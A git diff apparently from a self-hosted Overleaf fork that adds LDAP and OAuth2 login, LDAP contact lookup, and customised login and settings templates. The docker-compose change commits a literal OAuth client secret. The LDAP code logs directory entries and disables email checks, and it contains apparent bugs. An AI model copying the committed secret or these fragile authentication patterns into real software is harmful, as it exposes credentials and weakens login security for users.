+< }
+< return null
+---
+> })
+157,158d78
+< // we use the emailadress from the ldap
+< // therefore we do not enforce checks here
+160,162c80,82
+< //if (!parsed) {
+< // return new InvalidEmailError({ message: 'email not valid' })
+< //}
+---
+> if (!parsed) {
+> return new InvalidEmailError({ message: 'email not valid' })
+> }
+320,437d239
+<
+<
+< async ldapAuth(query, password, onSuccessCreateUserIfNotExistent, callback, user) {
+< const client = new Client({
+< url: process.env.LDAP_SERVER,
+< });
+<
+< const ldap_reader = process.env.LDAP_BIND_USER
+< const ldap_reader_pass = process.env.LDAP_BIND_PW
+< const ldap_base = process.env.LDAP_BASE
+<
+< var mail = query.email
+< var uid = query.email.split('@')[0]
+< var firstname = ""
+< var lastname = ""
+< var isAdmin = false
+< var userDn = ""
+<
+< //replace all appearences of %u with uid and all %m with mail:
+< const replacerUid = new RegExp("%u", "g")
+< const replacerMail = new RegExp("%m","g")
+< const filterstr = process.env.LDAP_USER_FILTER.replace(replacerUid, ldapEscape.filter`${uid}`).replace(replacerMail, ldapEscape.filter`${mail}`) //replace all appearances
+< // check bind
+< try {
+< if(process.env.LDAP_BINDDN){ //try to bind directly with the user trying to log in
+< userDn = process.env.LDAP_BINDDN.replace(replacerUid,ldapEscape.filter`${uid}`).replace(replacerMail, ldapEscape.filter`${mail}`);
+< await client.bind(userDn,password);
+< }else{// use fixed bind user
+< await client.bind(ldap_reader, ldap_reader_pass);
+< }
+< } catch (ex) {
+< if(process.env.LDAP_BINDDN){
+< console.log("Could not bind user: " + userDn);
+< }else{
+< console.log("Could not bind LDAP reader: " + ldap_reader + " err: " + String(ex))
+< }
+< return callback(null, null)
+< }
+<
+< // get user data
+< try {
+< const {searchEntries, searchRef,} = await client.search(ldap_base, {
+< scope: 'sub',
+< filter: filterstr ,
+< });
+< await searchEntries
+< console.log(JSON.stringify(searchEntries))
+< if (searchEntries[0]) {
+< mail = searchEntries[0].mail
+< uid = searchEntries[0].uid
+< firstname = searchEntries[0].givenName
+< lastname = searchEntries[0].sn
+< if(!process.env.LDAP_BINDDN){ //dn is already correctly assembled
+< userDn = searchEntries[0].dn
+< }
+< console.log("Found user: " + mail + " Name: " + firstname + " " + lastname + " DN: " + userDn)
+< }
+< } catch (ex) {
+< console.log("An Error occured while getting user data during ldapsearch: " + String(ex))
+< await client.unbind();
+< return callback(null, null)
+< }
+<
+< try {
+< // if admin filter is set - only set admin for user in ldap group
+< // does not matter - admin is deactivated: managed through ldap
+< if (process.env.LDAP_ADMIN_GROUP_FILTER) {
+< const adminfilter = process.env.LDAP_ADMIN_GROUP_FILTER.replace(replacerUid, ldapEscape.filter`${uid}`).replace(replacerMail, ldapEscape.filter`${mail}`)
+< adminEntry = await client.search(ldap_base, {
+< scope: 'sub',
+< filter: adminfilter,
+< });
+< await adminEntry;
+< //console.log("Admin Search response:" + JSON.stringify(adminEntry.searchEntries))
+< if (adminEntry.searchEntries[0]) {
+< console.log("is Admin")
+< isAdmin=true;
+< }
+< }
+< } catch (ex) {
+< console.log("An Error occured while checking for admin rights - setting admin rights to false: " + String(ex))
+< isAdmin = false;
+< } finally {
+< await client.unbind();
+< }
+< if (mail == "" || userDn == "") {
+< console.log("Mail / userDn not set - exit. This should not happen - please set mail-entry in ldap.")
+< return callback(null, null)
+< }
+<
+< if(!process.env.BINDDN){//since we used a fixed bind user to obtain the correct userDn we need to bind again to authenticate
+< try {
+< await client.bind(userDn, password);
+< } catch (ex) {
+< console.log("Could not bind User: " + userDn + " err: " + String(ex))
+< return callback(null, null)
+< } finally{
+< await client.unbind()
+< }
+< }
+< //console.log("Logging in user: " + mail + " Name: " + firstname + " " + lastname + " isAdmin: " + String(isAdmin))
+< // we are authenticated now let's set the query to the correct mail from ldap
+< query.email = mail
+< User.findOne(query, (error, user) => {
+< if (error) {
+< console.log(error)
+< }
+< if (user && user.hashedPassword) {
+< //console.log("******************** LOGIN ******************")
+< AuthenticationManager.login(user, "randomPass", callback)
+< } else {
+< onSuccessCreateUserIfNotExistent(query, user, callback, uid, firstname, lastname, mail, isAdmin)
+< }
+< })
+< }
+<
+<
+<
diff --git a/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/contactcontroller.diff b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/contactcontroller.diff
new file mode 100644
index 0000000..0aa4199
--- /dev/null
+++ b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/contactcontroller.diff
@@ -0,0 +1,133 @@
+16d15
+< const AuthenticationController = require('../Authentication/AuthenticationController')
+20c19
+< const logger = require('logger-sharelatex')
+---
+> const logger = require('@overleaf/logger')
+22d20
+< const { Client } = require('ldapts');
+26d23
+< // const user_id = AuthenticationController.getLoggedInUserId(req)
+48,78c45,55
+< // UserGetter.getUsers may not preserve order so put them back in order
+< const positions = {}
+< for (let i = 0; i < contact_ids.length; i++) {
+< const contact_id = contact_ids[i]
+< positions[contact_id] = i
+< }
+<
+< contacts.sort(
+< (a, b) =>
+< positions[a._id != null ? a._id.toString() : undefined] -
+< positions[b._id != null ? b._id.toString() : undefined]
+< )
+<
+< // Don't count holding accounts to discourage users from repeating mistakes (mistyped or wrong emails, etc)
+< contacts = contacts.filter(c => !c.holdingAccount)
+< ContactsController.getLdapContacts(contacts).then((ldapcontacts) => {
+< contacts.push(ldapcontacts)
+< contacts = contacts.map(ContactsController._formatContact)
+< return Modules.hooks.fire('getContacts', user_id, contacts, function(
+< error,
+< additional_contacts
+< ) {
+< if (error != null) {
+< return next(error)
+< }
+< contacts = contacts.concat(...Array.from(additional_contacts || []))
+< return res.send({
+< contacts
+< })
+< })
+< }).catch(e => console.log("Error appending ldap contacts" + e))
+---
+> // UserGetter.getUsers may not preserve order so put them back in order
+> const positions = {}
+> for (let i = 0; i < contact_ids.length; i++) {
+> const contact_id = contact_ids[i]
+> positions[contact_id] = i
+> }
+> contacts.sort(
+> (a, b) =>
+> positions[a._id != null ? a._id.toString() : undefined] -
+> positions[b._id != null ? b._id.toString() : undefined]
+> )
+80,99c57,60
+< }
+< )
+< })
+< },
+< async getLdapContacts(contacts) {
+< if (process.env.LDAP_CONTACTS === undefined || !(process.env.LDAP_CONTACTS.toLowerCase() === 'true')) {
+< return contacts
+< }
+< const client = new Client({
+< url: process.env.LDAP_SERVER,
+< });
+<
+< // if we need a ldap user try to bind
+< if (process.env.LDAP_BIND_USER) {
+< try {
+< await client.bind(process.env.LDAP_BIND_USER, process.env.LDAP_BIND_PW);
+< } catch (ex) {
+< console.log("Could not bind LDAP reader user: " + String(ex) )
+< }
+< }
+---
+> // Don't count holding accounts to discourage users from repeating mistakes (mistyped or wrong emails, etc)
+> contacts = contacts.filter(c => !c.holdingAccount)
+>
+> contacts = contacts.map(ContactsController._formatContact)
+101,118c62,79
+< const ldap_base = process.env.LDAP_BASE
+< // get user data
+< try {
+< // if you need an client.bind do it here.
+< const {searchEntries,searchReferences,} = await client.search(ldap_base, {scope: 'sub',filter: process.env.LDAP_CONTACT_FILTER ,});
+< await searchEntries;
+< for (var i = 0; i < searchEntries.length; i++) {
+< var entry = new Map()
+< var obj = searchEntries[i];
+< entry['_id'] = undefined
+< entry['email'] = obj['mail']
+< entry['first_name'] = obj['givenName']
+< entry['last_name'] = obj['sn']
+< entry['type'] = "user"
+< // Only add to contacts if entry is not there.
+< if(contacts.indexOf(entry) === -1) {
+< contacts.push(entry);
+< }
+---
+> return Modules.hooks.fire(
+> 'getContacts',
+> user_id,
+> contacts,
+> function (error, additional_contacts) {
+> if (error != null) {
+> return next(error)
+> }
+> contacts = contacts.concat(
+> ...Array.from(additional_contacts || [])
+> )
+> return res.json({
+> contacts,
+> })
+> }
+> )
+> }
+> )
+120,129c81
+< } catch (ex) {
+< console.log(String(ex))
+< }
+< //console.log(JSON.stringify(contacts))
+< finally {
+< // even if we did not use bind - the constructor of
+< // new Client() opens a socket to the ldap server
+< client.unbind()
+< return contacts
+< }
+---
+> )
+130a83
+>
diff --git a/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/login.diff b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/login.diff
new file mode 100644
index 0000000..46f77bb
--- /dev/null
+++ b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/login.diff
@@ -0,0 +1,54 @@
+1,4c1
+< extends ../layout
+<
+< block vars
+< - metadata = { viewport: true }
+---
+> extends ../layout-marketing
+7c4
+< main.content.content-alt
+---
+> main.content.content-alt#main-content
+14c11
+< form(async-form="login", name="loginForm", action='/login', method="POST", ng-cloak)
+---
+> form(data-ol-async-form, name="loginForm", action='/login', method="POST")
+16c13
+< form-messages(for="loginForm")
+---
+> +formMessages()
+23,25c20
+< ng-model="email",
+< ng-model-options="{ updateOn: 'blur' }",
+< focus="true"
+---
+> autofocus="true"
+27,28d21
+< span.small.text-primary(ng-show="loginForm.email.$invalid && loginForm.email.$dirty")
+< | #{translate("must_be_email_address")}
+35d27
+< ng-model="password"
+37,38d28
+< span.small.text-primary(ng-show="loginForm.password.$invalid && loginForm.password.$dirty")
+< | #{translate("required")}
+40c30
+< button.btn-primary.btn.btn-block(
+---
+> button.btn-primary.btn(
+42c32
+< ng-disabled="loginForm.inflight"
+---
+> data-ol-disabled-inflight
+44,51c34,36
+< span(ng-show="!loginForm.inflight") #{translate("login_with_email")}
+< span(ng-show="loginForm.inflight") #{translate("logging_in")}…
+< .form-group.text-center(style="padding-top: 10px")
+< a.btn-block.login-btn(href="/oauth/redirect" style='padding-left: 0px')
+< | Log in via SUSTech CRA SSO / CAS
+< p
+< | homepage-notice-html
+<
+---
+> span(data-ol-inflight="idle") #{translate("login")}
+> span(hidden data-ol-inflight="pending") #{translate("logging_in")}…
+> a.pull-right(href='/user/password/reset') #{translate("forgot_your_password")}?
diff --git a/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/login.pug b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/login.pug
new file mode 100644
index 0000000..7af4bae
--- /dev/null
+++ b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/login.pug
@@ -0,0 +1,51 @@
+extends ../layout
+
+block vars
+ - metadata = { viewport: true }
+
+block content
+ main.content.content-alt
+ .container
+ .row
+ .col-md-6.col-md-offset-3.col-lg-4.col-lg-offset-4
+ .card
+ .page-header
+ h1 #{translate("log_in")}
+ form(async-form="login", name="loginForm", action='/login', method="POST", ng-cloak)
+ input(name='_csrf', type='hidden', value=csrfToken)
+ form-messages(for="loginForm")
+ .form-group
+ input.form-control(
+ type='email',
+ name='email',
+ required,
+ placeholder='email@example.com',
+ ng-model="email",
+ ng-model-options="{ updateOn: 'blur' }",
+ focus="true"
+ )
+ span.small.text-primary(ng-show="loginForm.email.$invalid && loginForm.email.$dirty")
+ | #{translate("must_be_email_address")}
+ .form-group
+ input.form-control(
+ type='password',
+ name='password',
+ required,
+ placeholder='********',
+ ng-model="password"
+ )
+ span.small.text-primary(ng-show="loginForm.password.$invalid && loginForm.password.$dirty")
+ | #{translate("required")}
+ .actions
+ button.btn-primary.btn.btn-block(
+ type='submit',
+ ng-disabled="loginForm.inflight"
+ )
+ span(ng-show="!loginForm.inflight") #{translate("login_with_email")}
+ span(ng-show="loginForm.inflight") #{translate("logging_in")}…
+ .form-group.text-center(style="padding-top: 10px")
+ a.btn-block.login-btn(href="/oauth/redirect" style='padding-left: 0px')
+ | Log in via SUSTech CRA SSO / CAS
+ p
+ | homepage-notice-html
+
diff --git a/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/navbar.pug b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/navbar.pug
new file mode 100644
index 0000000..f391630
--- /dev/null
+++ b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/navbar.pug
@@ -0,0 +1,84 @@
+nav.navbar.navbar-default.navbar-main
+ .container-fluid
+ .navbar-header
+ button.navbar-toggle(ng-init="navCollapsed = true", ng-click="navCollapsed = !navCollapsed", ng-class="{active: !navCollapsed}", aria-label="Toggle " + translate('navigation'))
+ i.fa.fa-bars(aria-hidden="true")
+ if settings.nav.custom_logo
+ a(href='/', aria-label=settings.appName, style='background-image:url("'+settings.nav.custom_logo+'")').navbar-brand
+ else if (nav.title)
+ a(href='/', aria-label=settings.appName, ng-non-bindable).navbar-title #{nav.title}
+ else
+ a(href='/', aria-label=settings.appName).navbar-brand
+
+ .navbar-collapse.collapse(collapse="navCollapsed")
+
+ ul.nav.navbar-nav.navbar-right
+ if (getSessionUser() && getSessionUser().isAdmin)
+ li
+ a(href="/admin") Admin
+
+
+ // loop over header_extras
+ each item in nav.header_extras
+ -
+ if ((item.only_when_logged_in && getSessionUser())
+ || (item.only_when_logged_out && (!getSessionUser()))
+ || (!item.only_when_logged_out && !item.only_when_logged_in && !item.only_content_pages)
+ || (item.only_content_pages && (typeof(suppressNavContentLinks) == "undefined" || !suppressNavContentLinks))
+ ){
+ var showNavItem = true
+ } else {
+ var showNavItem = false
+ }
+
+ if showNavItem
+ if item.dropdown
+ li.dropdown(class=item.class, dropdown)
+ a.dropdown-toggle(href, dropdown-toggle)
+ | !{translate(item.text)}
+ b.caret
+ ul.dropdown-menu
+ each child in item.dropdown
+ if child.divider
+ li.divider
+ else
+ li
+ if child.url
+ a(href=child.url, class=child.class) !{translate(child.text)}
+ else
+ | !{translate(child.text)}
+ else
+ li(class=item.class)
+ if item.url
+ a(href=item.url, class=item.class) !{translate(item.text)}
+ else
+ | !{translate(item.text)}
+
+ // logged out
+ if !getSessionUser()
+ // login link
+ li
+ a(href="/login") #{translate('log_in')}
+
+ // projects link and account menu
+ if getSessionUser()
+ li
+ a(href="/project") #{translate('Projects')}
+ li.dropdown(dropdown)
+ a.dropdown-toggle(href, dropdown-toggle)
+ | #{translate('Account')}
+ b.caret
+ ul.dropdown-menu
+ //li
+ // div.subdued(ng-non-bindable) #{getUserEmail()}
+ //li.divider.hidden-xs.hidden-sm
+ li
+ a(href="/user/settings") #{translate('Account Settings')}
+ if nav.showSubscriptionLink
+ li
+ a(href="/user/subscription") #{translate('subscription')}
+ li.divider.hidden-xs.hidden-sm
+ li
+ form(method="POST" action="/logout")
+ input(name='_csrf', type='hidden', value=csrfToken)
+ button.btn-link.text-left.dropdown-menu-button #{translate('log_out')}
diff --git a/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/router-append.js b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/router-append.js
new file mode 100644
index 0000000..68e1c49
--- /dev/null
+++ b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/router-append.js
@@ -0,0 +1,6 @@
+ webRouter.get('/oauth/redirect', AuthenticationController.oauth2Redirect)
+ webRouter.get('/oauth/callback', AuthenticationController.oauth2Callback)
+ AuthenticationController.addEndpointToLoginWhitelist('/oauth/redirect')
+ AuthenticationController.addEndpointToLoginWhitelist('/oauth/callback')
+ webRouter.get('*', ErrorController.notFound)
+}
diff --git a/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/settings.diff b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/settings.diff
new file mode 100644
index 0000000..0f697b9
--- /dev/null
+++ b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/settings.diff
@@ -0,0 +1,200 @@
+2a3,9
+> block append meta
+> meta(name="ol-reconfirmationRemoveEmail", content=reconfirmationRemoveEmail)
+> meta(name="ol-reconfirmedViaSAML", content=reconfirmedViaSAML)
+> meta(name="ol-passwordStrengthOptions", data-type="json", content=settings.passwordStrengthOptions || {})
+> meta(name="ol-oauthProviders", data-type="json", content=oauthProviders)
+> meta(name="ol-thirdPartyIds", data-type="json", content=thirdPartyIds)
+>
+4c11,15
+< .content.content-alt
+---
+> main.content.content-alt#main-content(
+> event-tracking-mb="true"
+> event-tracking="settings-view"
+> event-tracking-trigger="load"
+> )
+25,31c36,57
+< // show the email, non-editable
+< .form-group
+< label.control-label #{translate("email")}
+< div.form-control(
+< readonly="true",
+< ng-non-bindable
+< ) #{user.email}
+---
+> if !externalAuthenticationSystemUsed()
+> .form-group
+> label(for='email') #{translate("email")}
+> input.form-control(
+> id="email"
+> type='email',
+> name='email',
+> placeholder="email@example.com"
+> required,
+> ng-model="email",
+> ng-model-options="{ updateOn: 'blur' }"
+> )
+> span.small.text-danger(ng-show="settingsForm.email.$invalid && settingsForm.email.$dirty")
+> | #{translate("must_be_email_address")}
+> else
+> // show the email, non-editable
+> .form-group
+> label.control-label #{translate("email")}
+> div.form-control(
+> readonly="true",
+> ng-non-bindable
+> ) #{user.email}
+76,81c102,164
+< h3
+< | Set Password for Email login
+< p
+< | Note: you can not change the LDAP password from here. You can set/reset a password for
+< | your email login:
+< | #[a(href="/user/password/reset", target='_blank') Reset.]
+---
+> h3 #{translate("change_password")}
+> if externalAuthenticationSystemUsed() && !settings.overleaf
+> p
+> | Password settings are managed externally
+> else if !hasPassword
+> p
+> | #[a(href="/user/password/reset", target='_blank') #{translate("no_existing_password")}]
+> else
+> - var submitAction
+> - submitAction = '/user/password/update'
+> form(
+> async-form="changepassword"
+> name="changePasswordForm"
+> action=submitAction
+> method="POST"
+> novalidate
+> )
+> input(type="hidden", name="_csrf", value=csrfToken)
+> .form-group
+> label(for='currentPassword') #{translate("current_password")}
+> input.form-control(
+> id="currentPassword"
+> type='password',
+> name='currentPassword',
+> placeholder='*********',
+> ng-model="currentPassword",
+> required
+> )
+> span.small.text-danger(ng-show="changePasswordForm.currentPassword.$invalid && changePasswordForm.currentPassword.$dirty" aria-live="polite")
+> | #{translate("required")}
+> .form-group
+> label(for='passwordField') #{translate("new_password")}
+> input.form-control(
+> id='passwordField',
+> type='password',
+> name='newPassword1',
+> placeholder='*********',
+> ng-model="newPassword1",
+> required,
+> complex-password
+> )
+> span.small.text-danger(ng-show="changePasswordForm.newPassword1.$error.complexPassword && changePasswordForm.newPassword1.$dirty", ng-bind-html="complexPasswordErrorMessage" aria-live="polite")
+> .form-group
+> label(for='newPassword2') #{translate("confirm_new_password")}
+> input.form-control(
+> id="newPassword2"
+> type='password',
+> name='newPassword2',
+> placeholder='*********',
+> ng-model="newPassword2",
+> equals="passwordField"
+> )
+> span.small.text-danger(ng-show="changePasswordForm.newPassword2.$error.areEqual && changePasswordForm.newPassword2.$dirty" aria-live="polite")
+> | #{translate("doesnt_match")}
+> span.small.text-danger(ng-show="!changePasswordForm.newPassword2.$error.areEqual && changePasswordForm.newPassword2.$invalid && changePasswordForm.newPassword2.$dirty" aria-live="polite")
+> | #{translate("invalid_password")}
+> .form-group
+> form-messages(aria-live="polite" for="changePasswordForm")
+> .actions
+> button.btn.btn-primary(
+> type='submit',
+> ng-disabled="changePasswordForm.$invalid"
+> ) #{translate("change")}
+85a169,181
+> if hasFeature('saas')
+> h3
+> | #{translate("sharelatex_beta_program")}
+>
+> if (user.betaProgram)
+> p.small
+> | #{translate("beta_program_already_participating")}
+>
+> div
+> a(id="beta-program-participate-link" href="/beta/participate") #{translate("manage_beta_program_membership")}
+>
+> hr
+>
+87,92c183,186
+< | Contact
+< div
+< | If you need any help, please contact your sysadmins.
+<
+< p #{translate("need_to_leave")}
+< a(href, ng-click="deleteAccount()") #{translate("delete_your_account")}
+---
+> | #{translate("sessions")}
+>
+> div
+> a(id="sessions-link", href="/user/sessions") #{translate("manage_sessions")}
+93a188,218
+> if hasFeature('oauth')
+> hr
+> include settings/user-oauth
+>
+> if hasFeature('saas') && (!externalAuthenticationSystemUsed() || (settings.createV1AccountOnLogin && settings.overleaf))
+> hr
+> p.small
+> | #{translate("newsletter_info_and_unsubscribe")}
+> a(
+> href,
+> ng-click="unsubscribe()",
+> ng-show="subscribed && !unsubscribing"
+> ) #{translate("unsubscribe")}
+> span(
+> ng-show="unsubscribing"
+> )
+> i.fa.fa-spin.fa-refresh(aria-hidden="true")
+> | #{translate("unsubscribing")}
+> span.text-success(
+> ng-show="!subscribed"
+> )
+> i.fa.fa-check(aria-hidden="true")
+> | #{translate("unsubscribed")}
+>
+> if !settings.overleaf && user.overleaf
+> p
+> | Please note: If you have linked your account with Overleaf
+> | v2, then deleting your ShareLaTeX account will also delete
+> | account and all of it's associated projects and data.
+> p #{translate("need_to_leave")}
+> a(href, ng-click="deleteAccount()") #{translate("delete_your_account")}
+100c225
+< p !{translate("delete_account_warning_message_3")}
+---
+> p !{translate("delete_account_warning_message_3", {}, ['strong'])}
+136,143d260
+< ng-model="state.confirmV1Purge"
+< ng-change="checkValidation()"
+< ).pull-left
+< label(style="display: inline") &nbsp;I have left, purged or imported my projects on Overleaf v1 (if any) &nbsp;
+<
+< div.confirmation-checkbox-wrapper
+< input(
+< type="checkbox"
+147c264
+< label(style="display: inline") &nbsp;I understand this will delete all projects in my Overleaf v2 account (and ShareLaTeX account, if any) with email address #[em {{ userDefaultEmail }}]
+---
+> label(style="display: inline") &nbsp;I understand this will delete all projects in my Overleaf account with email address #[em {{ userDefaultEmail }}]
+175,178c292
+< span(ng-show="state.inflight") #{translate("deleting")}...
+<
+< script(type='text/javascript').
+< window.passwordStrengthOptions = !{StringHelper.stringifyJsonForScript(settings.passwordStrengthOptions || {})}
+---
+> span(ng-show="state.inflight") #{translate("deleting")}…
diff --git a/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/settings.pug b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/settings.pug
new file mode 100644
index 0000000..8cdd18c
--- /dev/null
+++ b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/settings.pug
@@ -0,0 +1,178 @@
+extends ../layout
+
+block content
+ .content.content-alt
+ .container
+ .row
+ .col-md-12.col-lg-10.col-lg-offset-1
+ if ssoError
+ .alert.alert-danger
+ | #{translate('sso_link_error')}: #{translate(ssoError)}
+ .card
+ .page-header
+ h1 #{translate("account_settings")}
+ .account-settings(ng-controller="AccountSettingsController", ng-cloak)
+
+ if hasFeature('affiliations')
+ include settings/user-affiliations
+
+ .row
+ .col-md-5
+ h3 #{translate("update_account_info")}
+ form(async-form="settings", name="settingsForm", method="POST", action="/user/settings", novalidate)
+ input(type="hidden", name="_csrf", value=csrfToken)
+ if !hasFeature('affiliations')
+ // show the email, non-editable
+ .form-group
+ label.control-label #{translate("email")}
+ div.form-control(
+ readonly="true",
+ ng-non-bindable
+ ) #{user.email}
+
+ if shouldAllowEditingDetails
+ .form-group
+ label(for='firstName').control-label #{translate("first_name")}
+ input.form-control(
+ id="firstName"
+ type='text',
+ name='first_name',
+ value=user.first_name
+ ng-non-bindable
+ )
+ .form-group
+ label(for='lastName').control-label #{translate("last_name")}
+ input.form-control(
+ id="lastName"
+ type='text',
+ name='last_name',
+ value=user.last_name
+ ng-non-bindable
+ )
+ .form-group
+ form-messages(aria-live="polite" for="settingsForm")
+ .alert.alert-success(ng-show="settingsForm.response.success")
+ | #{translate("thanks_settings_updated")}
+ .actions
+ button.btn.btn-primary(
+ type='submit',
+ ng-disabled="settingsForm.$invalid"
+ ) #{translate("update")}
+ else
+ .form-group
+ label.control-label #{translate("first_name")}
+ div.form-control(
+ readonly="true",
+ ng-non-bindable
+ ) #{user.first_name}
+ .form-group
+ label.control-label #{translate("last_name")}
+ div.form-control(
+ readonly="true",
+ ng-non-bindable
+ ) #{user.last_name}
+
+ .col-md-5.col-md-offset-1
+ h3
+ | Set Password for Email login
+ p
+ | Note: you can not change the LDAP password from here. You can set/reset a password for
+ | your email login:
+ | #[a(href="/user/password/reset", target='_blank') Reset.]
+
+ | !{moduleIncludes("userSettings", locals)}
+ hr
+
+ h3
+ | Contact
+ div
+ | If you need any help, please contact your sysadmins.
+
+ p #{translate("need_to_leave")}
+ a(href, ng-click="deleteAccount()") #{translate("delete_your_account")}
+
+
+
+ script(type='text/ng-template', id='deleteAccountModalTemplate')
+ .modal-header
+ h3 #{translate("delete_account")}
+ div.modal-body#delete-account-modal
+ p !{translate("delete_account_warning_message_3")}
+ if settings.createV1AccountOnLogin && settings.overleaf
+ p
+ strong
+ | Your Overleaf v2 projects will be deleted if you delete your account.
+ | If you want to remove any remaining Overleaf v1 projects in your account,
+ | please first make sure they are imported to Overleaf v2.
+
+ if settings.overleaf && !hasPassword
+ p
+ b
+ | #[a(href="/user/password/reset", target='_blank') #{translate("delete_acct_no_existing_pw")}].
+ else
+ form(novalidate, name="deleteAccountForm")
+ label #{translate('email')}
+ input.form-control(
+ type="text",
+ autocomplete="off",
+ placeholder="",
+ ng-model="state.deleteText",
+ focus-on="open",
+ ng-keyup="checkValidation()"
+ )
+
+ label #{translate('password')}
+ input.form-control(
+ type="password",
+ autocomplete="off",
+ placeholder="",
+ ng-model="state.password",
+ ng-keyup="checkValidation()"
+ )
+
+ div.confirmation-checkbox-wrapper
+ input(
+ type="checkbox"
+ ng-model="state.confirmV1Purge"
+ ng-change="checkValidation()"
+ ).pull-left
+ label(style="display: inline") &nbsp;I have left, purged or imported my projects on Overleaf v1 (if any) &nbsp;
+
+ div.confirmation-checkbox-wrapper
+ input(
+ type="checkbox"
+ ng-model="state.confirmSharelatexDelete"
+ ng-change="checkValidation()"
+ ).pull-left
+ label(style="display: inline") &nbsp;I understand this will delete all projects in my Overleaf v2 account (and ShareLaTeX account, if any) with email address #[em {{ userDefaultEmail }}]
+
+ div(ng-if="state.error")
+ div.alert.alert-danger(ng-switch="state.error.code")
+ span(ng-switch-when="InvalidCredentialsError")
+ | #{translate('email_or_password_wrong_try_again')}
+ span(ng-switch-when="SubscriptionAdminDeletionError")
+ | #{translate('subscription_admins_cannot_be_deleted')}
+ span(ng-switch-when="UserDeletionError")
+ | #{translate('user_deletion_error')}
+ span(ng-switch-default)
+ | #{translate('generic_something_went_wrong')}
+ if settings.createV1AccountOnLogin && settings.overleaf
+ div(ng-if="state.error && state.error.code == 'InvalidCredentialsError'")
+ div.alert.alert-info
+ | If you can't remember your password, or if you are using Single-Sign-On with another provider
+ | to sign in (such as Twitter or Google), please
+ | #[a(href="/user/password/reset", target='_blank') reset your password],
+ | and try again.
+ .modal-footer
+ button.btn.btn-default(
+ ng-click="cancel()"
+ ) #{translate("cancel")}
+ button.btn.btn-danger(
+ ng-disabled="!state.isValid || state.inflight"
+ ng-click="delete()"
+ )
+ span(ng-hide="state.inflight") #{translate("delete")}
+ span(ng-show="state.inflight") #{translate("deleting")}...
+
+ script(type='text/javascript').
+ window.passwordStrengthOptions = !{StringHelper.stringifyJsonForScript(settings.passwordStrengthOptions || {})}
diff --git a/overleaf-mods/overleaf-ldap-oauth2/renovate.json b/overleaf-mods/overleaf-ldap-oauth2/renovate.json
new file mode 100644
index 0000000..39a2b6e
--- /dev/null
+++ b/overleaf-mods/overleaf-ldap-oauth2/renovate.json
@@ -0,0 +1,6 @@
+{
+ "$schema": "https://docs.renovatebot.com/renovate-schema.json",
+ "extends": [
+ "config:base"
+ ]
+}
diff --git a/overleaf-mods/overleaf.diff b/overleaf-mods/overleaf.diff
new file mode 100644
index 0000000..74abee7
--- /dev/null
+++ b/overleaf-mods/overleaf.diff
@@ -0,0 +1,26195 @@
+diff --git a/docker-compose.yml b/docker-compose.yml
+index bb00dc53c..28a4480ea 100644
+--- a/docker-compose.yml
++++ b/docker-compose.yml
+@@ -17,14 +17,19 @@ services:
+ - mongo
+ - redis
+ volumes:
+- - ~/sharelatex_data:/var/lib/sharelatex
++ - sharelatex_data:/var/lib/sharelatex
++ # - /home/mal/code/overleaf/services/web/:/overleaf/services/web/
+ ########################################################################
+ #### Server Pro: Uncomment the following line to mount the docker ####
+ #### socket, required for Sibling Containers to work ####
+ ########################################################################
+ # - /var/run/docker.sock:/var/run/docker.sock
+ environment:
+-
++ OAUTH_AUTH_URL: https://id.tardisproject.uk/realms/master/protocol/openid-connect/auth
++ OAUTH_ACCESS_URL: https://id.tardisproject.uk/realms/master/protocol/openid-connect/token
++ OAUTH_USER_URL: https://id.tardisproject.uk/realms/master/protocol/openid-connect/userinfo
++ OAUTH_CLIENT_ID: overleaf
++ OAUTH_CLIENT_SECRET: im5vyW6NuiOSOcJjSc53HuSSLnh1DzPP
+ SHARELATEX_APP_NAME: Overleaf Community Edition
+
+ SHARELATEX_MONGO_URL: mongodb://mongo/sharelatex
+@@ -49,7 +54,7 @@ services:
+ ## Set for SSL via nginx-proxy
+ #VIRTUAL_HOST: 103.112.212.22
+
+- # SHARELATEX_SITE_URL: http://sharelatex.mydomain.com
++ SHARELATEX_SITE_URL: http://localhost
+ # SHARELATEX_NAV_TITLE: Our ShareLaTeX Instance
+ # SHARELATEX_HEADER_IMAGE_URL: http://somewhere.com/mylogo.png
+ # SHARELATEX_ADMIN_EMAIL: support@it.com
+@@ -108,7 +113,7 @@ services:
+ expose:
+ - 27017
+ volumes:
+- - ~/mongo_data:/data/db
++ - mongo_data:/data/db
+ healthcheck:
+ test: echo 'db.stats().ok' | mongo localhost:27017/test --quiet
+ interval: 10s
+@@ -122,7 +127,7 @@ services:
+ expose:
+ - 6379
+ volumes:
+- - ~/redis_data:/data
++ - redis_data:/data
+
+ # ldap:
+ # restart: always
+@@ -145,3 +150,8 @@ services:
+ # volumes:
+ # - /var/run/docker.sock:/tmp/docker.sock:ro
+ # - /home/sharelatex/tmp:/etc/nginx/certs
++
++volumes:
++ sharelatex_data:
++ mongo_data:
++ redis_data:
+diff --git a/package-lock.json b/package-lock.json
+index 214c7da65..53bc38365 100644
+--- a/package-lock.json
++++ b/package-lock.json
+@@ -56,6 +56,7 @@
